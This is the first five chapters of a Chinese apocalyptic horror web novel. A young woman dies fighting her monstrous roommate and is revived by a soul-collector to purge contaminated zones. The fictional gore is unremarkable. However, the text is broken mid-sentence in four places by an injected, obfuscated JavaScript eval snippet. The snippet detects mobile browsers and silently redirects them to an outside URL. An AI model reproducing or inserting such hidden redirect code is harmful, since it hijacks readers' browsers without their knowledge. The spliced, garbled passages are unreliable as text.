《全球污染,从女主死亡开始》 1. 是我想多了吗 【是我想多了吗?我总觉得……室友要杀我。】 罗浮看着匿名论坛上的“发表”二字,犹豫着该不该将这张帖子发出去。 这种异样已经持续两个月了。 起初是一个半夜她起床上厕所,打开卧室门猝不及防的看见张丽站在门外,表情麻木地盯着自己。 在那夜之后,生活中便多出了很多“意外”。 比如: 她亲自买回家放进冰箱的面包,吃完后竟因花生过敏进了抢救室。 半夜莫名其妙燃气泄露、电线胶皮诡异的缺了一块等等小事更是多不胜数。 罗浮憋了一肚子的话想说,偏偏男友两个多月前去了国外谈工程项目。那地方很是偏僻,两人已经很久没联系上了。 所以……她叹口气,将近来发生的事一一写下,发出求助帖。 “咚咚咚——” 按下“发表”的一瞬间,反锁的卧室门突然被敲响,罗浮悚然一惊,随手打开一个新的网页,才过去开了门。 张丽端着一盘切好的西瓜,笑着道:“阿浮,我今天刚买的西瓜,给你尝尝,可甜了!” 罗浮盯着她的眼睛看了两秒,嘴角强扯出一个弧度,伸手接过:“看起来就很甜呢,谢谢啦。” 目送张丽的身影走进卧室,她松了口气,警惕地反锁房门后,回到电脑前将西瓜全部倒进了垃圾桶。 电脑里,刚才随手打开的网页显示着一条新闻: 【近日全球范围内精神疾病患者数量陡增,已造成大量人员伤亡,专家怀疑有某种针对人类神经系统的病毒正在扩散,请大家出行时注意……】 罗浮没细看,将页面切回了匿名论坛。 这么一会儿功夫,帖子因为那个吸睛的标题已经收到不少回复。 可惜,网友们大多是说她得了被害妄想症,也有人猜测她是不是感染了最近全球流行的精神病毒……总之就是让她快去医院。 甚至有人大胆猜测:罗浮其实根本没有室友,这一切都是她的臆想! 罗浮十分无语,失望的关了电脑。 已经是十一点半了。她拿上藏在房间里的牙膏牙刷,去卫生间洗漱好,进屋前看了看张丽的卧室——门缝下没有一丝灯光。 罗浮抿了抿唇,心中暗道:……亏几个月房租也没办法了,明天就去找房子,尽快搬走吧。 回到房间,她搬来椅子抵在门后,又确认了一遍门锁,才终于放心地上床睡觉。 冬夜寒凉,睡梦中,罗浮的脚不知何时伸出了被窝,将她给冻醒了。 她迷迷糊糊翻了个身,将身子蜷缩成一团,膝盖却忽然碰到了什么不该存在的东西。 睡得混沌不清的脑子“嗡”的一声响,顷刻间彻底清醒。 她下意识屏住一口气,缓缓睁眼,冷不丁对上了一张恐怖至极的面孔——森白的双眼瞪得极大,嘴巴怪异地弯成“U”字型,嘴角几乎扬得比鼻子还高! ……张丽就这么在黑暗里、躺在罗浮身边,用如此怪诞瘆人的表情盯着她不知看了多久。 极度的惊惧之下,罗浮动作比脑子更快,猛地掀开被子甩在那张惊悚的脸上,趁机飞快跳下床,连鞋都没顾上穿,第一时间奔向门口! 可她用来抵门的椅子还好端端地立在那里,更别提反锁好的门——那张丽是从哪儿进来的? “阿浮……你在跑什么呢?” 罗浮后背一凉,蓦然回身,只见穿着白色睡裙的张丽已经下了床,用那副令人战栗的笑脸盯着她,一步步缓缓走过来。 跑什么——你难道不知道吗?! 罗浮心里有个声音在疯狂尖叫,喉咙里却只发出一道意味不明的嘶吼。 她努力向后退着,一脚踹开身后的椅子,双手摸索着开门,同时干巴巴的说:“我、我西瓜吃多了,想去上厕所。” “嗯?” 张丽听起来有些意外,但表情却像一张僵硬的面具,从始至终没有任何变化。 她的脚步不停逼近:“可是那盘西瓜……不是被你倒进垃圾桶里了吗?” 话音未落,罗浮“咔哒”一声开了锁,扯开门全力狂奔出去! 与此同时,她眼尾余光扫到某种利器几乎擦着她的脑袋划过去,“嗙”的狠狠刺进了被她甩上的门板。 罗浮飞快回头瞥了眼——一根锐利如刀的骨刃轻而易举地刺穿了那道厚实的门。 那是什么玩意儿?张丽变成了怪物?现在该怎么办?! 一连串的问题在脑子里转了一圈,强烈的求生欲让罗浮变得无比清醒,几乎在一瞬间看透了局势: 这里是18楼,张丽显然已经不是人了,以刚才的攻击速度来看,即便自己逃出这套房子也很快会被追上。 那么,与其赤手空拳冲出去死在走廊或者楼梯上、电梯里,倒不如……拿起武器求一线生机。 罗浮方向一转,冲进厨房抽出一把锋利的剔骨刀。同一时间,客厅里传来“咯咔咯咔”的关节脆响声。 她猛然转身,只见张丽已经走出卧室站在昏暗的客厅里,那张诡异僵硬的笑脸不怀好意地盯着自己。 张丽的白色睡裙不见了,露出了脖子以下仅剩骨骼和猩红内脏的身躯。以及……背后张牙舞爪的六根骨刃。 刚刚还很平静的天空突然下起了暴雨,伴随着“轰隆隆”的炸雷声,一道闪电划破夜空,将张丽的身影映照成巨大凶戾的“蜘蛛”。 那些骨刃不规律地摆动着,在夜色中杀气腾腾,蓄势待发。 “张丽……” 罗浮也不知道自己为什么要喊这一声——难道是希望能将这只恐怖恶心的怪物唤醒么? “轰隆——” 又一道闪电炸开的瞬间,那道身影陡然消失,罗浮只觉眼前黑影一闪,便听见利刃破空而来的声音。 短短时间她根本来不及思考,仅凭本能反应,双腿一弯原地蹲下。 下一秒,一条锋利的骨刃“锵”的扎进贴着瓷砖的水泥墙里! 罗浮迅速瞥了眼,心中发凉:那分明是她脖子的位置,如果刚才没有躲过,这会儿一定人头落地了! 电光石火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679002|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,一击不中的张丽再度发难,一根根灵活的骨刃相继向她飞速袭来。 罗浮猛然向前一滚,在躲过骨刃攻击的同时也让自己靠近了张丽的本体。 她的右手还握着剔骨刀——而张丽仅剩骨架和内脏的身躯近在眼前! 出于人类常识的本能,她毫不迟疑地一刀刺进了张丽的心脏! “噗嗤。” ……这不是刀子刺入心脏的声音。 罗浮低下头,看见了一段从自己右胸部位穿透过来的,血淋淋的骨刃。 一个再普通不过的人类,要如何才能在这样一只危险诡异又灵活的怪物手底下活着逃出去? 总之,罗浮没有这个能力。 当那根骨刃挟着血肉和内脏碎片从她体内抽出去之时,她立刻就浑身脱力,软绵绵的倒在了血泊里等死。 张丽居高临下站在罗浮面前,身后狰狞的六根骨刃气势汹汹地张开,其中一根的尖端还黏着属于罗浮的新鲜血肉。 罗浮“噗”的吐出一大口血,强烈的不甘与无奈令她用尽所有力气,问出了一句话:“为……什么?我们……一直都是……好朋友啊。” 罗浮从来不知道,原来她的求生意志竟然强到了这种程度。 明明下一秒就要死了,她却还在期望能用这么一句堪称滑稽的话叫醒张丽的“人性”,为自己换来生路…… 这真是一个,可笑至极的幻想。 【叮——】 脑海中忽然传来一道清脆悦耳的声音。 就像鱼生来就会游泳,此时此刻,罗浮恍惚感觉到,自己像是生来就拥有这样一项神奇的能力—— 【一句话故事】 出于对网络小说的爱好,你偶尔也想要尝试写一部有趣的小说。然而贫瘠的小学生文笔实在让人难以直视,于是你只好将那些一闪而过的灵感用一句话潦草地概括下来,待以后文笔提升再写成一本完整的故事。 至于以后是什么时候?谁知道呢? 总之,某一天你突然发现,自己说出的一句话故事居然全都成了真。 罗浮眼前有些模糊,隐约看见张丽身躯晃了晃,竟一下子跪在了自己面前。 仅剩白骨的双手轻柔地抱起她的上半身,明明还保持着那副诡异的笑脸,却带着哭腔颤巍巍地喊道:“阿浮……阿浮……天呐,我都对你做了什么?!你撑住……我马上去叫救护——” 话音猛然顿住。 张丽的嘴开合了好几下,没能发出半点声音。 闪电“轰隆”一声,照亮了她太阳穴上——那把齐根没入的剔骨刀。 罗浮从张丽快速失去力量的骨臂中重重摔在了地上。 赌对了。 之前那把刀刺入张丽心脏时完全没用,但对方既然还会说话、能思考,就说明头部非常重要。 可惜……似乎一切都已经晚了。 重要脏器受损、大量血液流失,罗浮再也支撑不住,两眼一黑彻底失去意识。 在这个雷雨交加的夜晚,她就这样悄无声息、毫无意义的死掉了。 2. 我是来救你的 不知过了多久,罗浮站在客厅里,怔怔地看着自己倒在血泊中的尸体,万般无奈的接受了这个事实。 “……怎么就不能早一点呢?” 如果早一点激发那个奇怪的能力,她也用不着跟“张丽”同归于尽了。 不过说起来……这到底是怎么回事? 罗浮困惑的目光挪到张丽尸体上,至今还是会被她那副恐怖的模样吓得心惊肉跳。 好端端一个人,怎么能变成这个样子呢? 这对于前二十四年都是个唯物主义的罗浮来说——嗐,她自己都变成鬼魂站在这里了,还唯物主义个屁! 她甩甩脑袋,突然想起了尚在国外的男友:自己死得这么突然,霍无怠该怎么办? “轰隆——” 一声比之前更加响亮的炸雷撕裂夜空,吓了罗浮一跳。她下意识回头望向阳台,隐隐约约听见哗啦啦的雷雨中夹杂着此起彼伏的叫喊。 她皱皱眉,极度不祥的预感在每一个毛孔中疯狂叫嚣。 “罗浮。” 毫无预兆的,一道陌生男人的声音在背后响起。 罗浮毛骨悚然,第一反应就是逃进卧室将门反锁。但立刻又反应过来——不对啊,我都死了还怕什么? 与此同时,那道声音继续说道:“24岁,死因是在与污染物的搏杀中同归于尽。” 那是一个身材偏瘦的青年男性。 他有一头及肩的长发,上半段在脑后随意扎成了马尾。身上黑底金纹的西装看上去像是……殡葬行业的工作制服。 最重要的是:他的视线正与鬼魂罗浮对视着,而非看着地上那具尸体。 罗浮喉头发紧,谨慎的问:“你是谁?” “说来话长。”对方尽可能的浮起了一个笑容:“我叫封玉,是个勾魂使。” 罗浮恍然:“……是来抓我的?” 这和她想象中的“死神”差距太大了——他手中甚至还握着一只手机。 “不,正相反,我是来救你的。” 意料之外的答案让罗浮挑起了半边眉毛。 封玉没有卖关子:“这两个月里,某种污染物质悄然侵袭全球,在绝大多数人类没有意识到的情况下,已经制造出了许多污染物——就像你这位室友。而今夜……就是污染源彻底爆发的时候。” 他望向阳台:“你也听见了吧?” 哪怕张丽怪诞恐怖的尸体还在面前,罗浮也不敢相信这么离谱的事情。 她快步冲到阳台,在阵阵雷雨声中侧耳细听——惊恐的、仓皇的、绝望的、悲伤的……混乱无比的声音终于穿透雨幕,清晰地钻进耳中。 “这不光是人类的灭顶之灾,就连我的同事们也有部分遭到了感染,我们不得不对他们进行围剿……” 封玉隐含悲痛的声音在身后响起:“那场人类一无所知的战斗,不仅剿灭了被污染的勾魂使,也使我许多同事丧了命。 “今夜,轮到人类了。” 封玉沉声道:“全球人口多达七十亿,今晚预计死亡会超过一半——但并不都是传统意义上的‘死亡’,还有很大概率是变成污染物。你知道这意味着什么吗?” 意味着,将有数十亿的人类变成像张丽那样恐怖危险的怪物? 如果是这样,今夜有幸逃过一劫的人又能苟活多久?再过一些日子,地球上还会有人类的踪影吗? 一场末日竟然会来得如此猝不及防? 罗浮张了张口,正要说话,却忽然感觉脚下一阵地动山摇。 她懵了一秒:“地震了?” 短短三个字之间,震动感越发剧烈,居然立刻就让她站不稳了,不得不伸手扶着墙壁。 可下一秒坚硬的墙面竟然迅速出现一片蛛网似的裂缝。 天花板扑簌簌的往下掉灰,吊灯晃来荡去,屋内所有物件纷纷落地,哗啦啦响个不停。 封玉脸色微变,一闪身便到了罗浮面前,沉声道:“楼要塌了,得快点出去!” 话音未落,罗浮只觉后背被一股巨大的力量狠狠向前一推!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679003|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刹那间,右胸部位传来令人生不如死的剧痛。 她缓了几秒才意识到自己“活”过来了——回到了鲜血淋漓的身体里。 她看见封玉一把抓起她的手,紧接着眼前连续花了好几下,像是在不同位置飞速变动。停下来时,已经站在了小区楼下空旷的活动广场上。 大雨瓢泼,罗浮震惊地看着周围的所有居民楼像多米诺骨牌似的,接二连三迅速倒塌。 那些明亮的灯光、高耸的楼宇顷刻间消失不见,只剩下一连片的残垣断壁。仿佛预示着,人类文明的消亡在此刻陡然拉开了序幕。 封玉放下搭在罗浮背后的手,她后知后觉低头看去——贯穿胸膛的伤口竟然消失了,连一点儿疼痛感都没留下。 “这是一场全球性的灭顶之灾,我们和人类必须并肩作战。但勾魂使无法被活人看见,所以现在地府需要召集一批能被人类看见、能协助人类共同净化污染区的特殊人才,我们将这个职位命名为[净化者]。” 封玉认真地说道:“综上,这批净化者必须由已经激发了异能的人类来担任。” 最麻烦的是:由于活人看不见他们,想要跟符合条件的“人”沟通就必须是在这个人死亡之后。在说服对方后再将其灵魂重新打入躯壳,令其死而复生。 刚才情况紧急,为了保住罗浮的身体不遭二次破坏,封玉只能破例先让她复活再说。 而罗浮灵魂已经脱离过身躯,所以即使复活了也还能看得见封玉。 当然了,等到净化者的数量上来之后,就能直接邀请更多人类加入,不需要再由勾魂使出面招人了。 “那么,罗浮小姐,请问你是否愿意成为一名净化者?” 封玉意味深长地说:“你放心,如果你不愿意的话我们也不会强求的。但由于你寿命已尽,我就只好把你带回地府等着排队投胎了。 “唉……也不知道在这种末日下诞生的婴儿能不能活到三岁啊?” 罗浮挑了下眉——这分明就是赤.裸裸的威胁吧? 3. 长安里污染区 昏暗凌乱的房间里倒悬着数个被剥掉了全身皮肤的人。 他们腹部都被剖开,内脏沿着胸膛和面孔滑流下去,落在地上恶心粘腻的虬结成一团。 但即便如此,他们也没有死。 他们缓慢地蠕动着,呻/吟着,一颗颗没了眼皮的眼珠子嵌在血红的脸上,齐刷刷盯着悄然靠近的罗浮。 罗浮小心翼翼来到角落倒吊的人身边,唤出长刀尽量无声地割断他双脚上的绳子,迅速接住了掉落下来的——封玉。 - 半个小时前,罗浮答应了封玉的邀请。 签订灵魂契约后,她获得了实习净化者的基础道具和能力: 一把能够伤到鬼怪的长刀、用意念就能随取随存的特殊储物空间以及专用联络器。 随后封玉讲了讲“污染源”的信息: “关于污染源,地府目前有个比较主流的说法是[外来生物入侵地球]。 “所谓的‘受到感染变成污染物’,实际上是那种未知生物‘夺舍’了我们的身躯。” 封玉顿了顿:“根据地府近两个月的观察,刚被感染的污染物还会保留一些原来的意识和本能,但这种本能会随着时间越来越模糊,直到彻底消失——你看,这个阶段是不是就像移植器官一样,人体对那种外来生物产生了‘排异期’呢?” 罗浮怔怔地看着他,手臂忽然间浮起一层鸡皮疙瘩:人类的身体被某种外来生物侵占……这种想法实在是太不可思议了。 “你们人类反应实在迟顿。” 封玉叹了口气:“其实这两个月里污染源早就在缓慢渗透了,只是因为释放的浓度不高,所以即使有人被感染也只是精神层面的,在你们眼里就是——精神病。” 罗浮瞪大了眼:“那个所谓的未知精神病毒……” 封玉点点头:“污染物的特性是尽可能多地制造污染物,比起杀死人类,它们更希望让自己的同伴‘接管’人类,这一点毋庸置疑。这些日子你明明和污染物住在一起却没被感染,它才会退而求其次,想办法除掉你这个异类。” 但由于还没到爆发的时间点,“张丽”也只能用那些不引人注目的方式尝试将她除掉。 直到今夜,“终于变成了完整体的张丽”潜入罗浮房中,利用完整体的力量尝试感染她。 所以罗浮重伤后张丽才没有立刻补刀——因为伤口直接接触污染物会大幅度提高感染概率,污染物的第一选择永远是同化人类而非杀死他们。 罗浮还在消化这些信息,封玉忽然伸手一指:“……长安里污染区成型了。” 她抬头望去,只见自己生活了将近两年的小区被许多黑雾罩了起来,围成一个封闭的半圆形。 封玉沉声说:“刚才没说完,每个成型的污染区都必然存在一只母体,只要想办法杀了它,区域内的其他污染物就会死亡,污染区会在之后的两个小时内净化完成,同时封闭解除。 “在那之前,我们是绝对没办法离开这个鬼地方的。” “走吧……”他转头看着罗浮:“我们的目标是杀死母体净化污染区,尽可能地救出更多人类——为了拯救世界!” 他说完眼巴巴的看着罗浮,仿佛在等她对口号。 罗浮愣了愣,迟疑着道:“为、为了……拯救世界?” 可拯救世界什么的,罗浮早就过了那个热血又中二的年纪。 她只是很担心霍无怠的安危,也不想在这种人类可能灭绝的新世界投胎成一个大概率活不下来的婴儿。 封玉却很是满意的咧了咧嘴,接着说:“污染区内充斥着污染源,就算是我们也有感染的概率。所以为了节省时间,我们分头行动,有情况就用联络器通知对方。如果出了意外无法联络,你就直接去杀母体。” 话音未落,他便一个瞬移不知道去哪儿了,仿佛根本没想过罗浮只是个刚入行的萌新实习生。 罗浮犹豫几秒,无可奈何地转身看向不远处的废墟堆。 她打算先去高处看看周围的情况。 放眼望去,周围一片狼藉,到处都是残垣断壁,废墟堆成了高低错落的连绵小山,她几乎认不出这块土地竟是生活了近两年的地方。 没看见人类的踪影——楼房垮塌速度不超过二十秒,大部分人都来不及逃走,在家里或楼道就被活活砸死了。 再加上还有污染物存在,除非有人在关键时刻觉醒了某种能力,或许还有一线生机。 现在附近也没有灵魂出没,因为封玉说人死后魂魄脱离身躯大约需要半个小时。 罗浮收回视线,没什么头绪,便打算先随意挑个方向走走看。 她想起封玉分别前的那番话:如果无法联络对方,就要去杀了母体。 可说真的——这是对一个实习生该下的任务吗? 别说母体了,恐怕随便遇上一只污染物她都活不下来吧? 更何况,封玉还没说母体究竟要怎么找又怎么杀,她连一点儿头绪都……咦? 拐过一堵断裂的墙面,她猝不及防地与一名女生迎面撞上。 对方短促的惊呼一声,倒退两步,在看清罗浮之后猛然松了口气:“是、是人类?” 同一时间罗浮也看清了她:十八九岁的模样,披头散发的,身上穿着厚实的小熊睡衣,赤着双脚,看上去没受什么伤,但脸色惨白,像是受到了很大的惊吓。 再结合她那句话,大概率是从污染物手底下逃出来的。 “你也是这儿的住户吧?” 女生也从罗浮的衣着看了出来——事发突然,罗浮也没穿鞋,身上是一套珊瑚绒的黑猫睡衣,右胸位置有个破洞。 由于淋了雨,衣服上的血倒是都被冲没了,不至于吓到人。 “别朝那边去,有怪物。”女生紧张地回头扫了一眼,拽着罗浮往回走,惊魂未定的说:“太可怕了…世界上怎么会有那种东西……我差点儿就被它杀了!” 说话间,女生停在一个由断墙和水泥板形成的三角空隙外,示意罗浮躲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679004|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去再说。 她侧过身子,让罗浮先钻了进去。 藏身处有些狭窄,罗浮努力朝里面挤了挤,给后进来的女生留出足够的空间。 对方靠过来,压低声音说:“我叫齐心,是五栋的住户。你知道这是怎么回事吗?那些怪物是哪儿来的?它们还能变回人吗?我妈……我妈她……” 一连串的问题暴露了她惶恐不安的内心。 罗浮拍拍她的肩,不知该怎么安慰,只能说:“你哭的话会把污染物引过来的。” 齐心连忙捂住嘴,盈满泪水的双眼透出极度恐慌的情绪——显然是想起了那只形容可怖的怪物。 过了会儿,她哽咽着问:“你怎么会叫它污染物?是知道什么消息吗?你是不是也觉醒了特殊能力才活下来的?” 她总是一口气问好几个问题。 但罗浮心里很清楚“特殊能力”是自己最重要的保命手段,并不想随便告诉陌生人,便撒了个谎:“我只是运气好。我们是三人合租的,另一个室友先被变成污染物的室友杀了,我就趁机逃出来了。” 齐心点点头,短促的笑了一下:“原来是这样。” 罗浮没有追问她的能力,只问了最关心的问题:“你过来的方向有多少污染物?” 提到这个,齐心心有余悸:“大门那边有两只,我本来想从那里离开小区的,看见它们后赶紧朝这边躲了,还好离得远,它们都没发现我。” 她顿了顿:“不过,那些罩着小区的黑雾是什么东西?我们是不是根本出不去了?” 罗浮正要说话,腰间的联络器忽然震动起来。 她看了眼齐心,侧身挤出去,快跑几步躲到另一堆废墟后面,才按下了接通键。 可她低低的喊了好几遍,对面却始终只有奇怪的杂音。 明明是封玉主动联络,接通了却不说话? 罗浮心中暗觉不妙,当即打开了联络器上自带的“定位”功能。 只要两只联络器处于联通状态,就能定位到彼此的位置。 屏幕上很快出现了一个小红点,她向着那个方向转过身,却意外对上了齐心的目光。 对方不知什么时候跟过来了,正一脸关切的问:“姐,发生什么事了吗?” 罗浮摇头:“你先找地方躲着吧,等到周围的黑雾消失就能离开这里了。我得去找一个人……” “那我可以帮你啊。” 齐心很怕罗浮真让她一个人待着,急急忙忙的说:“这地方太可怕了,我们一起走肯定比分开安全得多。我还有特殊能力,说不定可以帮上大忙呢!” 罗浮想了想,点点头:“说得也是,那就一起走吧。” 封玉不是说要招觉醒了异能的净化者么,把齐心带过去看看也行。 二人向着红点方向走去。 昏暗的夜色下,谁也没有注意到,那些杂乱无章的废墟堆之间,悄无声息地冒出数道诡异的身影。 它们始终不声不响的坠在二人身后。 4. 是同伴 “……姐你要找的人在垃圾房里?”齐心疑惑的问。 大雨不知何时停了。 罗浮看看手中的联络器,又神色复杂地抬头看向前方——那里是一座完好的垃圾房。 由于它只有很低矮的一层,又离居民楼较远没受到波及,反而幸运地保留了下来。 罗浮对这个地方很熟悉: 垃圾房有两扇薄铁门,里面放了几只绿皮垃圾箱,居民家中的垃圾会扔到这里,再在天黑时由物业统一收走,同时锁上铁门。 所以这个时候铁门是关上的,罗浮看不见里面的情况。 可那颗闪动的红点偏偏就指向那里。 提问:一个拥有瞬移能力的勾魂使,为什么会待在一座臭气熏天的垃圾房里?又为什么主动联络罗浮却不给任何回应? 答:封玉丢失了他的联络器。 污染物不是只会杀戮的蠢货,它们有智商。 罗浮心知肚明——此时那只联络器,恐怕是在一只或者一群污染物手里才对。 不过眼下,似乎由不得她做选择。 封玉连联络器都弄丢了,说明他很可能遭遇了非常棘手的麻烦,没办法在短时间内跟罗浮会合、并教她该怎么杀死母体——甚至,封玉说不定已经死了。 而在污染区待得越久,就越容易被感染。 所以罗浮只能以最坏的情况去考量:封玉死了,没人会来帮忙,她想活下去就必须靠自己,尽快净化这个污染区! 但要找到母体,就免不了要先跟污染物打交道。 既然眼前刚好就有,也省得罗浮再去找了。 不入虎穴,焉得虎子。 她站在那里静默片刻,眉尾微不可察的挑了一下,转身对一直跟在身后的齐心说道:“我怀疑垃圾房里有危险,心里要先有个底——你的能力是什么?能战斗还是能逃跑?” 大约是罗浮表现得很沉稳冷静,齐心对她十分信任,毫不迟疑地回答道:“应该算是偏向战斗的吧,我的能力叫[猎人陷阱],一次最多能制造五个隐形的陷阱,只要敌人碰到它就会在十秒之内动弹不得。” 罗浮恍然道:“真是个很不错的能力,难怪你能活着逃出来。” 齐心低头笑了一下,说:“那你是不是也不用再瞒着我了?你如果没有特殊能力,之前听到我提这几个字的时候就应该很惊奇才对,可你不仅面不改色,还连问也没问我一句。” 那是罗浮故意卖的破绽,因为她需要筛选敏锐的队友,而不是带着拖后腿的蠢货。 不过如今那点小心机已经派不上用场了。 她点点头,目光不经意扫过断在路中央的路灯,说道:“我的能力是可以制造出非常刺眼的光,虽然只能维持二十秒,但只要是有眼睛的生物都能被这道光刺得什么都看不清,很适合用来逃跑。” 齐心双眼在夜色下亮得像星星:“不止——如果使用得当,这也是个非常厉害的攻击手段啊!” “既然这样,”罗浮回头看了一眼平静的垃圾房,“我们一左一右包围过去看看情况,如果有危险就立即撤退,怎么样?” 齐心犹豫了一下:“说实话我有点胆小……不过,我愿意陪你冒这个险。” “稍等。”罗浮说着,快步跑向一侧,关掉联络器塞进了一块碎石下藏好。 随后二人向前走了一段,分开一左一右从侧面悄悄靠近了垃圾房。 与此同时,周围的残垣断壁间,影影绰绰露出数道虎视眈眈的黑影。 齐心从右侧走到了垃圾房旁边,冲左边的罗浮比了个“OK”手势。 罗浮点点头,悄悄将联络器关掉藏进旁边的灌木丛里,忽然放声大喊:“都出来吧,我是你们的同伴!” 雷雨早就停了,寂静无声黑夜里,她的声音像炸雷般瞬间传开老远。 话音才落,仿佛有一条条看不见的丝线,从罗浮周身飘荡开去,连接向附近所有污染物。 可与此同时,她也清楚地感觉到身体里有某种力量正在迅速抽离,让她立刻两眼发黑、站立不住,几乎马上就要晕厥过去。 她“啪”的一掌拍在墙壁上,勉强支撑着自己越来越软的身体,脑袋却不受控制地低垂下去,随即落下一连串的鼻血。 ……能力使用过度。 “原来大肆使用能力是会受到反噬的”这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679005|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念头产生的同时,前方铁门“嘭”的从内侧撞开。 罗浮勉强抬头望去,只见两只丑陋恶心的污染物从中走出,与齐心一个对视后,一起走向了自己。 她环顾周围,不出所料——四面八方的废墟间陆续走出了将近二十只形态各异的污染物。 它们很快来到附近,将她层层包围。 齐心挤在最前方,双目已不复之前的明亮,麻木得像只提线木偶。 她用那样空洞的视线盯着罗浮瞧了瞧,忽然“咔嚓”几声,脑袋毫无预兆地转过一百八十度,露出了本该是头发的后脑勺。 在那里,是一张与齐心容貌相似的中年女人的脸。 啊……原来跟她走散的妈妈一直都在这里啊——罗浮不合时宜地想。 不过对于齐心的身份,她并不意外。 她不是个迟顿的人,即便一开始没有发现,但在寻找封玉的过程中也早就有所感应了——为什么从两人相识开始,齐心始终没有让自己瞧见过她的后背? 同时也想到:既然齐心有问题,又明知自己是来找人的,却始终没有动手,就不怕到时候面临二比一的场面么? 由此可得,附近极有可能存在她的同伙。 所以罗浮在能力上撒了谎。就算污染物之间有特殊的传话方式,齐心也只能传给它们一个错误的信号。 如此,出其不意的“一句话故事”才能有奇效。 可事到如今……罗浮心里反倒没底了。 她明显已经因为过度使用能力而遭到了反噬,那么在场这么多只污染物,真的完全被她那句话影响了吗? 还是说…… “不是说好分头行动,你们找人类带到‘那里’去吗?为什么带同伴来这里破坏我们的计划!” 从垃圾房里出来的一只污染物挥动着它恶心的黑色触手,如此对齐心说道。 齐心——或者叫这张脸“齐母”更合适——总之那张中年女性的面孔露出了恍惚的神色,似乎在理智和幻象之间挣扎了好一会儿,最终目光忽地变得无比清明。 她面色不善地看着罗浮,冷冷说道:“不对……她不是同伴,是人类!” 5. 挑拨离间 罗浮此刻既狼狈又虚弱,浑身都在微不可察地颤抖着。 这种时候如果选择转头跑的话,马上就会沦为污染物们的小零食吧? 于是她意外的“嗯?”了一声,迷茫道:“你说什么……?” 话落她竟笑了出来,一脸荒谬地对其他污染物说:“喂,你们听听看啊,她这个玩笑是不是太过冒犯了?我怎么会是那些弱小、丑陋又卑劣的人类?” 明明应该紧张到极致的,可罗浮却发现自己冷静得可怕—— 她连心跳都没有加速,从表情到情绪自然得无可挑剔。仿佛真将自己彻底当成了它们的同伴。 或许那句“故事”,也同时作用在了她自己身上。 念头一闪而过,她听见一只污染物发出粘稠低沉的“轰轰”轻笑:“这样的玩笑不要再说了,当务之急是将这片区域的人类带去‘那里’。” “没错。”那只长着触手的污染物出声道:“你们去找人类,我们要继续诱捕‘那个家伙’的同伴,不要都在这里。” 罗浮面不改色,心里却微微一沉:封玉果然出事了。 附近的污染物陆续做出转身离去的动作,齐心却急忙喊道:“我没有开玩笑,她真的是人类!你们都忘了吗?我们就是跟着一个人类来这边的,如果她是同伴的话,那个人类去了哪里呢?” 话音未落,周围瞬间安静下来。 一颗颗诡异恐怖的眼珠从四面八方齐刷刷看向罗浮,仿佛正在犹豫是否应该相信齐心的话。 “好像……是这么回事。” “仔细看看,她哪里像是我们蜕形种?” 原来它们的自称是“蜕形种”啊,不过那些丑陋恶心的模样,怎么想都还是污染物更合适吧。 罗浮收回一瞬间不知道偏去哪儿的念头——某些污染物已经蓄势待发,被它们当作武器的肢体在黑夜里张牙舞爪,似乎只需要一点儿风吹草动,就会立刻向她发起攻击! 但罗浮镇定地迎着那些或审视或凌厉的目光,不紧不慢的说:“如果你们只因她一番话便怀疑我,那为何不先怀疑她?从始至终,不都是她最可疑吗?” 能力使用过度的副作用还在持续,两句话的功夫,一股腥甜的液体便滚到了喉咙口,又被她悄无声息的咽下。 罗浮努力让自己保持从容,慢慢地说:“明明说好分头行动,由我们去处理剩余人类的……可她却给了我们错误的消息,引导我们来这里,破坏了这边的‘诱捕’计划。” 她感觉一些视线从自己身上挪到了齐心那边,心中微定,继续根据已知信息添油加醋:“如今她还指着一名同伴坚称是人类,导致大家都站在这里僵持不下——再一次拖延了我们的节奏,打乱了所有计划!” 她抬起头,目光从每一只污染物身上扫过:“我不怀疑她是人类,可我实在想不明白,为什么她要如此帮助人类?除非……她是我们之中的叛徒!她一直都是站在人类那边儿的!” “唰——” 